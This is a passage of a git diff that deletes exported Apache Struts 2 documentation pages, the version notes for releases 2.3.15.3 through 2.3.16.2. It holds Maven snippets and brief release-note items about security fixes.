-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=34834621">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34834621">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=34834621">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34834621">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=34834621">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.15.3 distribution.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes in this release series, see <a shape="rect" href="version-notes-23152.html">Version Notes 2.3.15.2</a> and <a shape="rect" href="version-notes-2315.html">Version Notes 2.3.15</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-2-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.15.3&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>You can also use Struts Archetype Catalog like below</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;
-</pre>
-</div></div>
-
-<h2 id="VersionNotes2.3.15.3-InternalChanges">Internal Changes</h2>
-
-<ul class="alternate"><li>Broken Access Control Issue fixed - thus supposed to be solved with version 2.3.15.1 but that version contains a bug which breaks support for "action:" prefix.</li></ul>
-
-
-<h3 id="VersionNotes2.3.15.3-IssueDetail">Issue Detail</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311041&amp;version=12325042">JIRA Release Notes 2.3.15.3</a></li><li><a shape="rect" href="s2-018.html">Security Bulletin S2-018</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.15.3-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12325230">Struts 2.3.15.3 DONE</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12324168">Struts 2.3.16 TODO</a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/jira/issues/?filter=12318399">Struts 2.3.x TODO</a></li></ul>
-
-
-<h3 id="VersionNotes2.3.15.3-Otherresources">Other resources</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2316.html b/content/docs/version-notes-2316.html
deleted file mode 100644
index 03ceb45..0000000
--- a/content/docs/version-notes-2316.html
+++ /dev/null
@@ -1,170 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.16</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2316.html">Version Notes 2.3.16</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.16</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33298059">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=33298059">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33298059">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=33298059">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33298059">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=33298059">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.16 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.16&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.16-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Merged security fix from version 2.3.15.1, 2.3.15.2 and 2.3.15.3</li><li>Defined new factory interfaces to simplify extending ObjectFactory, see <a shape="rect" class="external-link" href [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23161.html b/content/docs/version-notes-23161.html
deleted file mode 100644
index bd6c412..0000000
--- a/content/docs/version-notes-23161.html
+++ /dev/null
@@ -1,170 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.16.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23161.html">Version Notes 2.3.16.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.16.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=39621686">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=39621686">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=39621686">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=39621686">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=39621686">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=39621686">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.16.1 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-em [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.16.1&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.16.1-InternalChanges">Internal Changes</h2><ul><li>Upgrades Commons FileUpload to version 1.3.1 to prevent DoS attacks, more details can be found <a shape="rect" class="external-link" href="http://commons.apache.org/proper/commons-fileupload/changes-report.html#a1.3.1">here</a> and <a shape="rect" class="external-link" href="http://mail-archives.apache.org/mod_mbox/www-announce/201402.mbox/%3C52F373FC.9030907@apache.org%3E">here</a></li><li><span style [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23162.html b/content/docs/version-notes-23162.html
deleted file mode 100644
index d9b5e4b..0000000
--- a/content/docs/version-notes-23162.html
+++ /dev/null
@@ -1,170 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.16.2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23162.html">Version Notes 2.3.16.2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.16.2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40510229">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40510229">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40510229">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40510229">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40510229">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40510229">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.16.2 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-em [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.16.2&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
